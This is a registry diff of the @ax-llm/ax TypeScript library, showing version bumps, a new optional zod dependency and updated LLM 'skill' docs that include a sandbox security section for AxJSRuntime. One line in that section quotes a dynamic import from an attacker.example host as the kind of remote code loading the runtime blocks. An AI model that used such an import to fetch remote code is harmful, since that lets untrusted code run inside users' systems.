@ax-llm/ax 19.0.43 → 19.0.45
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.cjs +212 -202
- package/index.cjs.map +1 -1
- package/index.d.cts +257 -10
- package/index.d.ts +257 -10
- package/index.global.js +214 -204
- package/index.global.js.map +1 -1
- package/index.js +214 -204
- package/index.js.map +1 -1
- package/package.json +9 -1
- package/skills/ax-agent-optimize.md +1 -1
- package/skills/ax-agent.md +107 -1
- package/skills/ax-ai.md +1 -1
- package/skills/ax-flow.md +1 -1
- package/skills/ax-gen.md +52 -1
- package/skills/ax-gepa.md +1 -1
- package/skills/ax-learn.md +1 -1
- package/skills/ax-llm.md +23 -2
- package/skills/ax-signature.md +111 -6
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@ax-llm/ax",
|
|
3
|
-
"version": "19.0.
|
|
3
|
+
"version": "19.0.45",
|
|
4
4
|
"type": "module",
|
|
5
5
|
"description": "The best library to work with LLMs",
|
|
6
6
|
"repository": {
|
|
@@ -17,6 +17,14 @@
|
|
|
17
17
|
"@opentelemetry/api": "^1.9.0",
|
|
18
18
|
"dayjs": "^1.11.13"
|
|
19
19
|
},
|
|
20
|
+
"peerDependencies": {
|
|
21
|
+
"zod": "^3.24.0 || ^4.0.0"
|
|
22
|
+
},
|
|
23
|
+
"peerDependenciesMeta": {
|
|
24
|
+
"zod": {
|
|
25
|
+
"optional": true
|
|
26
|
+
}
|
|
27
|
+
},
|
|
20
28
|
"ava": {
|
|
21
29
|
"failFast": true,
|
|
22
30
|
"timeout": "180s",
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: ax-agent-optimize
|
|
3
3
|
description: This skill helps an LLM generate correct AxAgent tuning and evaluation code using @ax-llm/ax. Use when the user asks about agent.optimize(...), judgeOptions, eval datasets, optimization targets, saved optimizedProgram artifacts, or recursive optimization guidance.
|
|
4
|
-
version: "19.0.
|
|
4
|
+
version: "19.0.45"
|
|
5
5
|
---
|
|
6
6
|
|
|
7
7
|
# AxAgent Optimize Codegen Rules (@ax-llm/ax)
|
package/skills/ax-agent.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: ax-agent
|
|
3
3
|
description: This skill helps an LLM generate correct AxAgent code using @ax-llm/ax. Use when the user asks about agent(), child agents, namespaced functions, discovery mode, shared fields, llmQuery(...), RLM code execution, recursionOptions, or agent runtime behavior. For tuning and eval with agent.optimize(...), use ax-agent-optimize.
|
|
4
|
-
version: "19.0.
|
|
4
|
+
version: "19.0.45"
|
|
5
5
|
---
|
|
6
6
|
|
|
7
7
|
# AxAgent Codegen Rules (@ax-llm/ax)
|
|
@@ -233,6 +233,23 @@ const tools = [
|
|
|
233
233
|
.handler(async ({ topic }) => [])
|
|
234
234
|
.build(),
|
|
235
235
|
];
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
`.arg()` and `.returns()` also accept any [Standard Schema v1](https://standardschema.dev) validator (zod, valibot, arktype) directly — per-argument or a whole `z.object({...})`. The handler's argument type is inferred from the schema:
|
|
239
|
+
|
|
240
|
+
```typescript
|
|
241
|
+
import { z } from 'zod';
|
|
242
|
+
import { fn } from '@ax-llm/ax';
|
|
243
|
+
|
|
244
|
+
const lookupUser = fn('lookupUser')
|
|
245
|
+
.description('Fetch a user record by id')
|
|
246
|
+
.arg(z.object({
|
|
247
|
+
userId: z.string().min(1),
|
|
248
|
+
includeProfile: z.boolean().optional(),
|
|
249
|
+
}))
|
|
250
|
+
.returns(z.object({ name: z.string(), email: z.string().email() }))
|
|
251
|
+
.handler(async ({ userId, includeProfile }) => ({ name: 'Ada', email: 'ada@example.com' }))
|
|
252
|
+
.build();
|
|
236
253
|
|
|
237
254
|
const analyst = agent('query:string -> answer:string', {
|
|
238
255
|
functions: {
|
|
@@ -593,6 +610,78 @@ console.log(topCustomers);
|
|
|
593
610
|
|
|
594
611
|
Reason: turn 2 reuses `customers` from the persistent runtime. `Live Runtime State` or summaries may change how turn 1 is shown in the prompt, but they do not remove the value from the runtime session.
|
|
595
612
|
|
|
613
|
+
## AxJSRuntime Security
|
|
614
|
+
|
|
615
|
+
Default `new AxJSRuntime()` is hardened: no network, no fs, no child_process, `import()` blocked, intrinsics frozen, `ShadowRealm` locked to `undefined`, worker IPC locked in browser/Deno, and on Node 20+ the OS Permission Model auto-engages (using `--permission` on Node 23.5+ or `--experimental-permission` on Node 20–23.4) as a second defense layer. You do not need to configure anything to get the strict profile — opt in only to the capability the user actually asked for.
|
|
616
|
+
|
|
617
|
+
**Permission enum** (`AxJSRuntimePermission`):
|
|
618
|
+
`NETWORK`, `STORAGE`, `CODE_LOADING`, `COMMUNICATION`, `TIMING`, `WORKERS`, `FILESYSTEM` (new), `CHILD_PROCESS` (new).
|
|
619
|
+
|
|
620
|
+
**Options quick reference** (all defaults shown are secure):
|
|
621
|
+
|
|
622
|
+
| Option | Default | Effect |
|
|
623
|
+
|---|---|---|
|
|
624
|
+
| `blockDynamicImport` | `true` | Blocks `import()` + Function/eval constructor shims. |
|
|
625
|
+
| `allowedModules` | `[]` | Whitelist of specifiers permitted when `blockDynamicImport` is on. |
|
|
626
|
+
| `freezeIntrinsics` | `true` | Freezes `Object`/`Array`/`Promise`/etc. prototypes. |
|
|
627
|
+
| `blockShadowRealm` | `true` | Locks `globalThis.ShadowRealm` to `undefined`. |
|
|
628
|
+
| `lockWorkerIPC` | `true` | Locks `self.postMessage`/`onmessage` in browser/Deno workers. |
|
|
629
|
+
| `preventGlobalThisExtensions` | `false` | Opt-in; breaks top-level `var/let/const` persistence across turns. |
|
|
630
|
+
| `useNodePermissionModel` | `'auto'` | Engages Node Permission Model on Node 20+ (`--permission` on 23.5+, `--experimental-permission` on 20–23.4); skips on older runtimes. |
|
|
631
|
+
| `nodePermissionAllowlist` | `undefined` | Fine-grained `{ fsRead, fsWrite, childProcess, addons, wasi }`. |
|
|
632
|
+
| `resourceLimits` | `undefined` | `{ maxOldGenerationSizeMb, maxYoungGenerationSizeMb, codeRangeSizeMb, stackSizeMb }`. |
|
|
633
|
+
| `allowDenoRemoteImport` | `false` | On Deno, controls whether `NETWORK` also grants remote module loading. |
|
|
634
|
+
| `allowUnsafeNodeHostAccess` | `false` | Exposes `process`/`require` in Node — trusted-code only. |
|
|
635
|
+
|
|
636
|
+
**Recipes:**
|
|
637
|
+
|
|
638
|
+
Maximum security (default):
|
|
639
|
+
```ts
|
|
640
|
+
new AxJSRuntime();
|
|
641
|
+
```
|
|
642
|
+
|
|
643
|
+
Allow fetch only:
|
|
644
|
+
```ts
|
|
645
|
+
new AxJSRuntime({ permissions: [AxJSRuntimePermission.NETWORK] });
|
|
646
|
+
```
|
|
647
|
+
|
|
648
|
+
Allow fs scoped to one directory:
|
|
649
|
+
```ts
|
|
650
|
+
new AxJSRuntime({
|
|
651
|
+
permissions: [AxJSRuntimePermission.FILESYSTEM],
|
|
652
|
+
allowedModules: ['node:fs', 'node:fs/promises', 'node:path'],
|
|
653
|
+
useNodePermissionModel: 'auto',
|
|
654
|
+
nodePermissionAllowlist: {
|
|
655
|
+
fsRead: ['/app/data'],
|
|
656
|
+
fsWrite: ['/app/data'],
|
|
657
|
+
},
|
|
658
|
+
});
|
|
659
|
+
```
|
|
660
|
+
|
|
661
|
+
Trust the code (explicit opt-out of every layer):
|
|
662
|
+
```ts
|
|
663
|
+
new AxJSRuntime({
|
|
664
|
+
permissions: Object.values(AxJSRuntimePermission),
|
|
665
|
+
allowUnsafeNodeHostAccess: true,
|
|
666
|
+
blockDynamicImport: false,
|
|
667
|
+
blockShadowRealm: false,
|
|
668
|
+
freezeIntrinsics: false,
|
|
669
|
+
lockWorkerIPC: false,
|
|
670
|
+
useNodePermissionModel: false,
|
|
671
|
+
});
|
|
672
|
+
```
|
|
673
|
+
|
|
674
|
+
**Rules for the LLM author:**
|
|
675
|
+
|
|
676
|
+
- Default to `new AxJSRuntime()` with no options unless the user asked for a specific capability.
|
|
677
|
+
- When the user asks for `fetch`, add `permissions: [AxJSRuntimePermission.NETWORK]` — do not disable `blockDynamicImport` as a workaround.
|
|
678
|
+
- When the user asks for `fs`, add both `permissions: [AxJSRuntimePermission.FILESYSTEM]` AND `allowedModules: ['node:fs', 'node:fs/promises', 'node:path']`. Scope with `nodePermissionAllowlist` when the user names a directory.
|
|
679
|
+
- Do not disable `freezeIntrinsics`, `blockShadowRealm`, or `lockWorkerIPC` unless the user explicitly asks — these do not trade off against any legitimate RLM use case.
|
|
680
|
+
- Treat `allowUnsafeNodeHostAccess: true` as a red flag; only use it when the user is authoring trusted code in their own process.
|
|
681
|
+
- `preventGlobalThisExtensions: true` breaks top-level `var/let/const` persistence across turns — never set it for stdout-mode RLM where persistence is load-bearing (see `RLM Actor Code Rules`).
|
|
682
|
+
|
|
683
|
+
**Deno caveat:** `blockDynamicImport` is a no-op in Deno (no `node:vm`); the defense there is the worker permission sandbox applied by default. When `NETWORK` is granted on Deno, `import` is set to `false` by default so `await import('https://attacker.example/evil.ts')` is blocked at the runtime level — pass `allowDenoRemoteImport: true` only if remote module loading is genuinely required.
|
|
684
|
+
|
|
596
685
|
## RLM Test Harness
|
|
597
686
|
|
|
598
687
|
Use `agent.test(code, contextFieldValues?, options?)` when the user wants to validate JavaScript snippets against the actual AxAgent runtime environment without running the full Actor/Responder loop.
|
|
@@ -1200,6 +1289,23 @@ agentIdentity?: {
|
|
|
1200
1289
|
- Consecutive error turns reset after a successful non-error turn and when checkpoint summarization refreshes to a new fingerprint.
|
|
1201
1290
|
- `maxSubAgentCalls` is a shared delegated-call budget across the entire run.
|
|
1202
1291
|
|
|
1292
|
+
### `AxJSRuntime` options (cross-reference)
|
|
1293
|
+
|
|
1294
|
+
Constructor options for `new AxJSRuntime(opts)`. All defaults are secure — see `## AxJSRuntime Security` for full detail and recipes.
|
|
1295
|
+
|
|
1296
|
+
- `permissions?: readonly AxJSRuntimePermission[]` — default `[]`; opt in capabilities (NETWORK, FILESYSTEM, CHILD_PROCESS, WORKERS, STORAGE, CODE_LOADING, COMMUNICATION, TIMING).
|
|
1297
|
+
- `blockDynamicImport?: boolean` — default `true`.
|
|
1298
|
+
- `allowedModules?: readonly string[]` — default `[]`.
|
|
1299
|
+
- `freezeIntrinsics?: boolean` — default `true`.
|
|
1300
|
+
- `blockShadowRealm?: boolean` — default `true`.
|
|
1301
|
+
- `lockWorkerIPC?: boolean` — default `true`.
|
|
1302
|
+
- `preventGlobalThisExtensions?: boolean` — default `false` (opt-in; breaks persistence).
|
|
1303
|
+
- `useNodePermissionModel?: boolean | 'auto'` — default `'auto'`.
|
|
1304
|
+
- `nodePermissionAllowlist?: { fsRead?; fsWrite?; childProcess?; addons?; wasi? }`.
|
|
1305
|
+
- `resourceLimits?: { maxOldGenerationSizeMb?; maxYoungGenerationSizeMb?; codeRangeSizeMb?; stackSizeMb? }`.
|
|
1306
|
+
- `allowDenoRemoteImport?: boolean` — default `false`.
|
|
1307
|
+
- `allowUnsafeNodeHostAccess?: boolean` — default `false`.
|
|
1308
|
+
|
|
1203
1309
|
## Observability: getChatLog() and getUsage()
|
|
1204
1310
|
|
|
1205
1311
|
`AxAgent` exposes two sub-programs (Actor and Responder). Both `getChatLog()` and `getUsage()` return an object split by role — unlike `AxGen`, which returns a flat array.
|
package/skills/ax-ai.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: ax-ai
|
|
3
3
|
description: This skill helps an LLM generate correct AI provider setup and configuration code using @ax-llm/ax. Use when the user asks about ai(), providers, models, presets, embeddings, extended thinking, context caching, or mentions OpenAI/Anthropic/Google/Azure/Groq/DeepSeek/Mistral/Cohere/Together/Ollama/HuggingFace/Reka/OpenRouter with @ax-llm/ax.
|
|
4
|
-
version: "19.0.
|
|
4
|
+
version: "19.0.45"
|
|
5
5
|
---
|
|
6
6
|
|
|
7
7
|
# AI Provider Codegen Rules (@ax-llm/ax)
|
package/skills/ax-flow.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: ax-flow
|
|
3
3
|
description: This skill helps an LLM generate correct AxFlow workflow code using @ax-llm/ax. Use when the user asks about flow(), AxFlow, workflow orchestration, parallel execution, DAG workflows, conditional routing, map/reduce patterns, or multi-node AI pipelines.
|
|
4
|
-
version: "19.0.
|
|
4
|
+
version: "19.0.45"
|
|
5
5
|
---
|
|
6
6
|
|
|
7
7
|
# AxFlow Codegen Rules (@ax-llm/ax)
|
package/skills/ax-gen.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: ax-gen
|
|
3
3
|
description: This skill helps an LLM generate correct AxGen code using @ax-llm/ax. Use when the user asks about ax(), AxGen, generators, forward(), streamingForward(), assertions, field processors, step hooks, self-tuning, or structured outputs.
|
|
4
|
-
version: "19.0.
|
|
4
|
+
version: "19.0.45"
|
|
5
5
|
---
|
|
6
6
|
|
|
7
7
|
# AxGen Codegen Rules (@ax-llm/ax)
|
|
@@ -47,6 +47,57 @@ const result = await gen.forward(llm, { input: 'Hello world' });
|
|
|
47
47
|
console.log(result.output);
|
|
48
48
|
```
|
|
49
49
|
|
|
50
|
+
### Signatures from zod / valibot / arktype
|
|
51
|
+
|
|
52
|
+
`ax()` accepts any signature built with `f()`, and `f().input()` / `.output()` accept [Standard Schema v1](https://standardschema.dev) validators directly — per-field or a whole `z.object({...})`:
|
|
53
|
+
|
|
54
|
+
```typescript
|
|
55
|
+
import { z } from 'zod';
|
|
56
|
+
import { ax, f } from '@ax-llm/ax';
|
|
57
|
+
|
|
58
|
+
const gen = ax(
|
|
59
|
+
f()
|
|
60
|
+
.input(z.object({
|
|
61
|
+
productName: z.string(),
|
|
62
|
+
buyerProfile: z.string(),
|
|
63
|
+
}))
|
|
64
|
+
.output(z.object({
|
|
65
|
+
headline: z.string(),
|
|
66
|
+
recommendation: z.enum(['buy', 'wait', 'skip']),
|
|
67
|
+
}))
|
|
68
|
+
.build()
|
|
69
|
+
);
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
Constraints (`.min()`, `.email()`, `.regex()`) and custom logic (`.refine()`, `.transform()`, `.superRefine()`) execute in the normal validation/retry pipeline — at parse time on complete field values, including at field boundaries during streaming. For cache/internal hints pass companion options: `.input('ctx', z.string(), { cache: true })` or `.output('reasoning', z.string(), { internal: true })`.
|
|
73
|
+
|
|
74
|
+
Define tool functions with zod the same way — `fn().arg()` / `.returns()` accept per-argument or whole-object schemas and infer the handler's argument type:
|
|
75
|
+
|
|
76
|
+
```typescript
|
|
77
|
+
import { z } from 'zod';
|
|
78
|
+
import { ax, fn } from '@ax-llm/ax';
|
|
79
|
+
|
|
80
|
+
const lookupProduct = fn('lookupProduct')
|
|
81
|
+
.description('Look up a product by name')
|
|
82
|
+
.arg(z.object({
|
|
83
|
+
productName: z.string().min(1),
|
|
84
|
+
includeSpecs: z.boolean().optional(),
|
|
85
|
+
}))
|
|
86
|
+
.returns(z.object({
|
|
87
|
+
price: z.number(),
|
|
88
|
+
inStock: z.boolean(),
|
|
89
|
+
rating: z.number().min(1).max(5),
|
|
90
|
+
}))
|
|
91
|
+
.handler(async ({ productName, includeSpecs }) => ({
|
|
92
|
+
price: 79.99,
|
|
93
|
+
inStock: true,
|
|
94
|
+
rating: 4.3,
|
|
95
|
+
}))
|
|
96
|
+
.build();
|
|
97
|
+
|
|
98
|
+
const result = await gen.forward(llm, { ... }, { functions: [lookupProduct] });
|
|
99
|
+
```
|
|
100
|
+
|
|
50
101
|
## Running AxGen
|
|
51
102
|
|
|
52
103
|
### `forward()`
|
package/skills/ax-gepa.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: ax-gepa
|
|
3
3
|
description: This skill helps an LLM generate correct AxGEPA optimization code using @ax-llm/ax. Use when the user asks about AxGEPA, GEPA, Pareto optimization, multi-objective prompt tuning, reflective prompt evolution, validationExamples, maxMetricCalls, or optimizing a generator, flow, or agent tree.
|
|
4
|
-
version: "19.0.
|
|
4
|
+
version: "19.0.45"
|
|
5
5
|
---
|
|
6
6
|
|
|
7
7
|
# AxGEPA Codegen Rules (@ax-llm/ax)
|
package/skills/ax-learn.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: ax-learn
|
|
3
3
|
description: This skill helps an LLM generate correct AxLearn code using @ax-llm/ax. Use when the user asks about self-improving agents, trace-backed learning, feedback-aware updates, or AxLearn modes.
|
|
4
|
-
version: "19.0.
|
|
4
|
+
version: "19.0.45"
|
|
5
5
|
---
|
|
6
6
|
|
|
7
7
|
# AxLearn Codegen Rules (@ax-llm/ax)
|
package/skills/ax-llm.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: ax
|
|
3
3
|
description: This skill helps with using the @ax-llm/ax TypeScript library for building LLM applications. Use when the user asks about ax(), ai(), f(), s(), agent(), flow(), AxGen, AxAgent, AxFlow, signatures, streaming, or mentions @ax-llm/ax.
|
|
4
|
-
version: "19.0.
|
|
4
|
+
version: "19.0.45"
|
|
5
5
|
---
|
|
6
6
|
|
|
7
7
|
# Ax Library (@ax-llm/ax) Quick Reference
|
|
@@ -15,6 +15,7 @@ Ax is a TypeScript library for building LLM-powered applications with type-safe
|
|
|
15
15
|
```typescript
|
|
16
16
|
// Prefer factory functions: ax(), ai(), agent(), flow() — not new AxGen(), new AxAI(), etc.
|
|
17
17
|
import { ax, ai, f, s, fn, agent, flow, AxMemory, AxMCPClient, AxLearn } from '@ax-llm/ax';
|
|
18
|
+
import { z } from 'zod'; // optional — any Standard Schema v1 library works
|
|
18
19
|
|
|
19
20
|
// AI provider
|
|
20
21
|
const llm = ai({ name: 'openai', apiKey: process.env.OPENAI_APIKEY });
|
|
@@ -30,6 +31,14 @@ const gen = ax(
|
|
|
30
31
|
.build()
|
|
31
32
|
);
|
|
32
33
|
|
|
34
|
+
// Generator (from zod — Standard Schema v1, also works with valibot/arktype)
|
|
35
|
+
const zodGen = ax(
|
|
36
|
+
f()
|
|
37
|
+
.input(z.object({ question: z.string().describe('User question') }))
|
|
38
|
+
.output(z.object({ answer: z.string().describe('AI response') }))
|
|
39
|
+
.build()
|
|
40
|
+
);
|
|
41
|
+
|
|
33
42
|
// Reusable signature
|
|
34
43
|
const sig = s('question:string, context:string[] -> answer:string');
|
|
35
44
|
|
|
@@ -45,13 +54,24 @@ const wf = flow<{ input: string }, { output: string }>()
|
|
|
45
54
|
.execute('step1', (state) => ({ input: state.input }))
|
|
46
55
|
.returns((state) => ({ output: state.step1Result.output }));
|
|
47
56
|
|
|
48
|
-
// Function tool
|
|
57
|
+
// Function tool — native fluent
|
|
49
58
|
const tool = fn('search')
|
|
50
59
|
.description('Search the web')
|
|
51
60
|
.arg('query', f.string('Search query'))
|
|
52
61
|
.returns(f.string('Search results'))
|
|
53
62
|
.handler(({ query }) => searchWeb(query))
|
|
54
63
|
.build();
|
|
64
|
+
|
|
65
|
+
// Function tool — zod schema (Standard Schema v1: also works with valibot, arktype)
|
|
66
|
+
const zodTool = fn('calculateTax')
|
|
67
|
+
.description('Calculate tax for an amount')
|
|
68
|
+
.arg(z.object({
|
|
69
|
+
amount: z.number().positive().describe('Pre-tax amount in USD'),
|
|
70
|
+
region: z.enum(['US', 'EU', 'UK']).describe('Tax region'),
|
|
71
|
+
}))
|
|
72
|
+
.returns(z.object({ tax: z.number(), total: z.number() }))
|
|
73
|
+
.handler(async ({ amount }) => ({ tax: amount * 0.1, total: amount * 1.1 }))
|
|
74
|
+
.build();
|
|
55
75
|
```
|
|
56
76
|
|
|
57
77
|
## Running
|
|
@@ -287,6 +307,7 @@ class AxFlow<IN, OUT> {
|
|
|
287
307
|
|
|
288
308
|
Fetch these for full working code:
|
|
289
309
|
|
|
310
|
+
- [Standard Schema (zod)](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/standard-schema.ts) — zod with f() and fn()
|
|
290
311
|
- [Chat](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/chat.ts) — multi-turn conversation
|
|
291
312
|
- [Marketing](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/marketing.ts) — product use case
|
|
292
313
|
- [MCP Integration](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/mcp-client-memory.ts) — MCP integration
|
package/skills/ax-signature.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: ax-signature
|
|
3
3
|
description: This skill helps an LLM generate correct DSPy signature code using @ax-llm/ax. Use when the user asks about signatures, s(), f(), field types, string syntax, fluent builder API, validation constraints, or type-safe inputs/outputs.
|
|
4
|
-
version: "19.0.
|
|
4
|
+
version: "19.0.45"
|
|
5
5
|
---
|
|
6
6
|
|
|
7
7
|
# Ax Signature Reference
|
|
@@ -37,7 +37,7 @@ version: "19.0.43"
|
|
|
37
37
|
'problem:string -> reasoning!:string, solution:string' // internal with !
|
|
38
38
|
```
|
|
39
39
|
|
|
40
|
-
##
|
|
40
|
+
## Four Ways to Create Signatures
|
|
41
41
|
|
|
42
42
|
### 1. String-Based (Recommended for simple cases)
|
|
43
43
|
|
|
@@ -61,7 +61,109 @@ const sig = f()
|
|
|
61
61
|
.build();
|
|
62
62
|
```
|
|
63
63
|
|
|
64
|
-
### 3.
|
|
64
|
+
### 3. Standard Schema (zod / valibot / arktype)
|
|
65
|
+
|
|
66
|
+
`.input()` and `.output()` accept any [Standard Schema v1](https://standardschema.dev) compatible library — no wrapper, no adapter. Three shapes work everywhere:
|
|
67
|
+
|
|
68
|
+
```typescript
|
|
69
|
+
import { z } from 'zod';
|
|
70
|
+
import { f } from '@ax-llm/ax';
|
|
71
|
+
|
|
72
|
+
// Shape A: per-field schema — name first, then the schema, then optional ax hints
|
|
73
|
+
const sig = f()
|
|
74
|
+
.input('contextData', z.string().describe('Background context'), { cache: true })
|
|
75
|
+
.input('userQuestion', z.string().describe('Question to answer'))
|
|
76
|
+
.output('reasoning', z.string().describe('Step-by-step thinking'), { internal: true })
|
|
77
|
+
.output('answer', z.string().describe('Final answer'))
|
|
78
|
+
.build();
|
|
79
|
+
|
|
80
|
+
// Shape B: whole-object schema — decomposed into fields in declaration order
|
|
81
|
+
const sig2 = f()
|
|
82
|
+
.description('Answer questions from retrieved context')
|
|
83
|
+
.input(
|
|
84
|
+
z.object({
|
|
85
|
+
contextData: z.string().describe('Background context'),
|
|
86
|
+
userQuestion: z.string().describe('Question to answer'),
|
|
87
|
+
}),
|
|
88
|
+
{ fields: { contextData: { cache: true } } } // companion options map
|
|
89
|
+
)
|
|
90
|
+
.output(
|
|
91
|
+
z.object({
|
|
92
|
+
reasoning: z.string().describe('Step-by-step thinking'),
|
|
93
|
+
answer: z.string().describe('Final answer'),
|
|
94
|
+
}),
|
|
95
|
+
{ fields: { reasoning: { internal: true } } }
|
|
96
|
+
)
|
|
97
|
+
.build();
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
Validation constraints from zod flow into ax's prompt validation:
|
|
101
|
+
|
|
102
|
+
```typescript
|
|
103
|
+
// String constraints: .email(), .url(), .min(), .max(), .regex()
|
|
104
|
+
// Number constraints: .min(), .max()
|
|
105
|
+
// Arrays: z.array(z.string())
|
|
106
|
+
// Enums: z.enum([...]) — NOTE: enum maps to ax class type, output fields only
|
|
107
|
+
const sig3 = f()
|
|
108
|
+
.input(z.object({
|
|
109
|
+
emailAddress: z.string().email().describe('Contact email'),
|
|
110
|
+
username: z.string().min(3).max(20).describe('Handle'),
|
|
111
|
+
score: z.number().min(0).max(100).describe('Numeric score'),
|
|
112
|
+
}))
|
|
113
|
+
.output(z.object({
|
|
114
|
+
priority: z.enum(['low', 'medium', 'high']).describe('Priority'),
|
|
115
|
+
summary: z.string().describe('Result'),
|
|
116
|
+
}))
|
|
117
|
+
.build();
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
**Companion options** (`AxFieldOptions`) carry ax-specific hints that schema libraries don't represent:
|
|
121
|
+
|
|
122
|
+
| Option | Effect |
|
|
123
|
+
|--------|--------|
|
|
124
|
+
| `{ cache: true }` | Mark input field as a prefix-cache breakpoint |
|
|
125
|
+
| `{ internal: true }` | Mark output field as internal scratchpad (stripped from result) |
|
|
126
|
+
|
|
127
|
+
The same Standard Schema shapes work on `fn()` tools via `.arg()`, `.returns()`, and `.returnsField()` — argument types are inferred from the schema:
|
|
128
|
+
|
|
129
|
+
```typescript
|
|
130
|
+
import { z } from 'zod';
|
|
131
|
+
import { fn } from '@ax-llm/ax';
|
|
132
|
+
|
|
133
|
+
// Whole-object zod on a tool — AI-SDK-style
|
|
134
|
+
const lookupProduct = fn('lookupProduct')
|
|
135
|
+
.description('Look up a product by name and return its current details')
|
|
136
|
+
.arg(
|
|
137
|
+
z.object({
|
|
138
|
+
productName: z.string().min(1).describe('Exact product name'),
|
|
139
|
+
includeSpecs: z.boolean().optional(),
|
|
140
|
+
})
|
|
141
|
+
)
|
|
142
|
+
.returns(
|
|
143
|
+
z.object({
|
|
144
|
+
price: z.number(),
|
|
145
|
+
inStock: z.boolean(),
|
|
146
|
+
rating: z.number().min(1).max(5),
|
|
147
|
+
})
|
|
148
|
+
)
|
|
149
|
+
.handler(async ({ productName, includeSpecs }) => ({
|
|
150
|
+
price: 79.99,
|
|
151
|
+
inStock: true,
|
|
152
|
+
rating: 4.3,
|
|
153
|
+
}))
|
|
154
|
+
.build();
|
|
155
|
+
|
|
156
|
+
// Per-argument form — mix with f.*() args, attach ax hints
|
|
157
|
+
const searchDocs = fn('searchDocs')
|
|
158
|
+
.description('Search indexed docs')
|
|
159
|
+
.arg('query', z.string().min(1), { cache: true })
|
|
160
|
+
.arg('limit', z.number().int().positive().optional())
|
|
161
|
+
.returnsField('results', z.array(z.string()))
|
|
162
|
+
.handler(async ({ query }) => [])
|
|
163
|
+
.build();
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
### 4. Hybrid
|
|
65
167
|
|
|
66
168
|
```typescript
|
|
67
169
|
import { s, f } from '@ax-llm/ax';
|
|
@@ -178,15 +280,18 @@ Bad: `text`, `data`, `input`, `output`, `a`, `x`, `val` (too generic), `1field`
|
|
|
178
280
|
- Use `f()` fluent builder, NOT nested `f.array(f.string())` -- those are removed.
|
|
179
281
|
- Field names must be descriptive (not generic like `text`, `data`, `input`).
|
|
180
282
|
- Media types are input-only, top-level only.
|
|
181
|
-
- `.internal()` is output-only (for chain-of-thought reasoning).
|
|
182
|
-
- `.cache()` is input-only (for prompt caching).
|
|
283
|
+
- `.internal()` / `{ internal: true }` is output-only (for chain-of-thought reasoning).
|
|
284
|
+
- `.cache()` / `{ cache: true }` is input-only (for prompt caching).
|
|
183
285
|
- Validation errors trigger auto-retry with correction feedback.
|
|
184
286
|
- `f.email()`, `f.url()`, `f.date()`, `f.datetime()` are shorthand for `f.string().email()` etc.
|
|
287
|
+
- `z.enum()` maps to ax's `class` type — only valid on **output** fields.
|
|
288
|
+
- For multimodal inputs (images, audio, files) use `f.image()` / `f.audio()` / `f.file()` — zod has no equivalent.
|
|
185
289
|
|
|
186
290
|
## Examples
|
|
187
291
|
|
|
188
292
|
Fetch these for full working code:
|
|
189
293
|
|
|
190
|
-
- [
|
|
294
|
+
- [Standard Schema (zod)](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/standard-schema.ts) — zod with f() and fn(), all three shapes
|
|
295
|
+
- [Fluent Signature](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/fluent-signature-example.ts) — native fluent f() API
|
|
191
296
|
- [Structured Output](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/structured_output.ts) — structured output with validation
|
|
192
297
|
- [Debug Schema](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/debug_schema.ts) — JSON schema validation
|